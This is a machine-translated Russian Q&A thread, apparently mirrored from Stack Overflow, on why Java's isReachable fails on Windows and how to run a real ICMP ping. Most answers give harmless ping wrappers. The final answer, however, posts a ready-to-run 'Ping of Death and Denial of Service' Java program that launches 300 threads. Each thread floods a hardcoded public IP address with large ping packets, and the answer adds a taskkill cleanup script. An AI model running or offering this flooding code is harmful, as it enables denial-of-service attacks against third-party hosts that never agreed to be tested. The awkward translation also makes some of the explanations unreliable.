Подтвердить что ты не робот

Как сделать настоящий Java-пинг из Windows?

У меня есть устройство в сети, которое я пытаюсь выполнить через мою программу Java. Через мою командную строку Windows я могу правильно пинговать адрес устройства и отлично отслеживать трафик по адресу.

В сети я видел, что для выполнения пинга через Java вы должны сделать следующее:

InetAddress.getByName(address).isReachable(timeout);

Но, когда я использую этот код на моем адресе устройства, он всегда возвращает false в моей программе. Я использую правильный адрес IPv4 с хорошим значением таймаута. Кроме того, если я использую адрес localhost, он отлично работает.

Почему я могу пинговать устройство через cmd, но не через мою программу? Я слышал в разных местах, что это не настоящий ping.

Есть ли лучший способ эмулировать пинг в Java?

Спасибо

4b9b3361

Ответ 1

isReachable() будет использовать ICMP ECHO REQUEST, если привилегия может быть получена, в противном случае она попытается установить TCP-соединение на порте 7 (Echo) целевого узла.
Таким образом, ваша проблема, вероятно, связана с конфигурацией недостаточных разрешений для этого на клиентской машине или проблемы с портом 7 на сервере, если у вашего клиента нет разрешения на выполнение ICMP ECHO REQUEST. Вероятно, оба в вашем случае, вам нужно решить одну или другую сторону, чтобы заставить это работать.

Я тестировал следующее на OSX и Linux-клиентах, и он работает при тестировании на доступность других машин OSX, Linux и Windows Server. У меня нет компьютера Windows для запуска этого в качестве клиента.

import java.io.IOException;
import java.net.InetAddress;

public class IsReachable
{
    public static void main(final String[] args) throws IOException
    {
        final InetAddress host = InetAddress.getByName(args[0]);
        System.out.println("host.isReachable(1000) = " + host.isReachable(1000));
    }
}

из того, что я читал здесь. По-видимому, ограничение Windows и ICMP PING не поддерживается в Windows как системный вызов, предшествующий Windows 2000, поэтому он по умолчанию пытается подключиться к порту 7 и заблокирован на машине, которую вы пытаетесь "достичь". Java еще не поддерживает новый собственный системный вызов. Права разрешений для системы на основе Unix, так как они требуют, чтобы root отправил пакеты ICMP.

Если вы хотите свернуть собственный родной JNI ICMP PING для Windows 2000, а новый - Функция IcmpSendEcho.

Ответ 2

Я использую эту функцию (от эту статью), когда мне нужен настоящий ICMP-пинг в Windows, Linux и OSX (я не тестировал другие функции системы).

public static boolean isReachableByPing(String host) {
    try{
            String cmd = "";
            if(System.getProperty("os.name").startsWith("Windows")) {   
                    // For Windows
                    cmd = "ping -n 1 " + host;
            } else {
                    // For Linux and OSX
                    cmd = "ping -c 1 " + host;
            }

            Process myProcess = Runtime.getRuntime().exec(cmd);
            myProcess.waitFor();

            if(myProcess.exitValue() == 0) {

                    return true;
            } else {

                    return false;
            }

    } catch( Exception e ) {

            e.printStackTrace();
            return false;
    }
}

Ответ 3

Немного поздно, но я наткнулся на это, пытаясь сделать то же самое.

Один способ обхода, который работал у меня, и который я использовал, - просто использовать команду ping напрямую.

    public static boolean ping(String host)
{
    boolean isReachable = false;
    try {
        Process proc = new ProcessBuilder("ping", host).start();

        int exitValue = proc.waitFor();
        System.out.println("Exit Value:" + exitValue);
        if(exitValue == 0)
            isReachable = true;
    } catch (IOException e1) {
        System.out.println(e1.getMessage());
        e1.printStackTrace();
    } catch (InterruptedException e) {
        e.printStackTrace();
    }
    return isReachable;
}

Ответ 4

Одна из причин заключается в том, что указанный вами тайм-аут слишком низок. У меня была аналогичная проблема, но когда я увеличил тайм-аут до соответствующего значения, обращение isReachable вернуло правильное значение.

Ответ 5

Я видел много плохо написанного кода, связанного с этой проблемой. Код, который работал для моего (сайт не знает правильно разобрать мой файл кода):

public class Test {

    public static boolean isReachablebyPing(String ip) {

        try {
            String command;

        if(System.getProperty("os.name").toLowerCase().startsWith("windows")) {
            // For Windows
            command = "ping -n 2 " + ip;
        } else {
            // For Linux and OSX
            command = "ping -c 2 " + ip;
        }

        Process proc = Runtime.getRuntime().exec(command);
        StreamGobbler outputGobbler = new StreamGobbler(proc.getInputStream(), "OUTPUT");
        outputGobbler.start();

        proc.waitFor();
        return checkAvailability(outputGobbler.getOutputLines());

        } catch(IOException | InterruptedException ex) {
        Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
        }

        return false;
    }

    public static void main(String... args) {

        String ip = "10.20.20.17";   // false in my case
        String ip1 = "10.20.20.100"; // true in my case

        System.out.println(ip + " is avalaible " + isReachablebyPing(ip));
        System.out.println(ip1 + " is avalaible " + isReachablebyPing(ip1));
    }

    private static boolean checkAvailability(List<String> outputLines) {

        for(String line : outputLines) {
            if(line.contains("unreachable")) {
                return false;
            }
            if(line.contains("TTL=")) {
                return true;
            }
        }
        return false;

    }

}

class StreamGobbler extends Thread {

    protected InputStream is;

    protected String type;

    protected List<String> outputLines;

    StreamGobbler(InputStream is, String type) {
        this.is = is;
        this.type = type;
        outputLines = new ArrayList<>();
    }

    public List<String> getOutputLines() {
        return outputLines;
    }

    @Override
    public void run() {
        try {
            InputStreamReader isr = new InputStreamReader(is);
            BufferedReader br = new BufferedReader(isr);
            String line;
            while((line = br.readLine()) != null) {
                outputLines.add(line);
            }
        } catch(IOException ex) {
                Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
        }

    }
}

Ответ 6

Для простого пинга из java без привилегий я использую http://www.icmp4j.org

Он очень прост в использовании:

    final IcmpPingRequest request = IcmpPingUtil.createIcmpPingRequest ();

    request.setHost ("www.google.org");

    // repeat a few times

    for (int count = 1; count <= 4; count ++) {

        // delegate

         final IcmpPingResponse response = IcmpPingUtil.executePingRequest (request);

         // log

         final String formattedResponse = IcmpPingUtil.formatResponse (response);

         System.out.println (formattedResponse);

         // rest

         Thread.sleep (1000);

    }

Ответ 7

Использование этого не поможет в случае ping публичных IP-адресов с помощью Windows-компьютера:

String ipAddress = "192.168.1.10";
InetAddress inet = InetAddress.getByName(ipAddress);
boolean reachable = inet.isReachable(5000);

Примечание. В документации указано, что:

Типичная реализация будет использовать запросы ICMP ECHO, если привилегияможет быть получен, в противном случае он попытается установить соединение TCP на порту 7 (Echo) хоста назначения.

Я пробовал это, но результаты не были точными.

Для меня действительно разработан класс, написанный нашим другим пользователем, который отправляет true ICMP ping и возвращает true или false в соответствии со статусом IP.

Нечетная проблема InetAddress.isReachable()

Ответ 8

Следующий код JAVA является примером Ping of Death и отказа в обслуживании с использованием Microsoft Windows. Это должно использоваться для целей тестирования, чтобы создать анти-хакерское доказательство и/или проверить производительность сайта в случае подобных Cyber-атак.

// BEGIN Ping of Death and Denial of Service 
import java.awt.AWTException;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URISyntaxException;

import jxl.read.biff.BiffException;
import jxl.write.WriteException;

public class PoDandDoS {
    protected static final long serialVersionUID = 300200;
    public static void main(String[] args)
            throws IOException, URISyntaxException, InterruptedException, AWTException, BiffException, WriteException {
        Thread[] threads = new Thread[300];
        for (int i = 0; i < 300; i++) {
            threads[i] = new Thread(new Runnable() {
                public void run() {
                    try {
                        thread();
                    } catch (IOException | InterruptedException e) {
                        e.printStackTrace();
                    }
                }
            });
            threads[i].start();
        }

        for (int i = 0; i < 300; i++) {
            threads[i].join();
        }
    }

    private static void thread() throws IOException, InterruptedException {
        // Ping of Death
        String[] StringMove1 = { "cmd.exe", "/c", "ping 108.167.182.244 -l 65500 -n 10000000 -w 1" };
        Process ProcessMove1 = Runtime.getRuntime().exec(StringMove1);
        BufferedReader VarMove1 = new BufferedReader(new InputStreamReader(ProcessMove1.getInputStream()));
        String temp1 = "";
        @SuppressWarnings("unused")
        String Hostname1 = "";
        while ((temp1 = VarMove1.readLine()) != null) {
            Thread.sleep(2);
            Hostname1 = temp1;
        }
        VarMove1.close();
    }
}

Когда тесты завершены. Возможно, вы захотите использовать следующий код для очистки процессов в диспетчере задач.

import java.io.IOException;

//BEGIN  Clean Process      
public class CleanProcess {
    protected static final long serialVersionUID = 300200;
    public static void main(String[] args) throws IOException {
        // Close every process of PING and CMD running from your PC 
        Runtime.getRuntime().exec("taskkill /F /IM PING.EXE");
        Runtime.getRuntime().exec("taskkill /F /IM cmd.EXE");
    }
}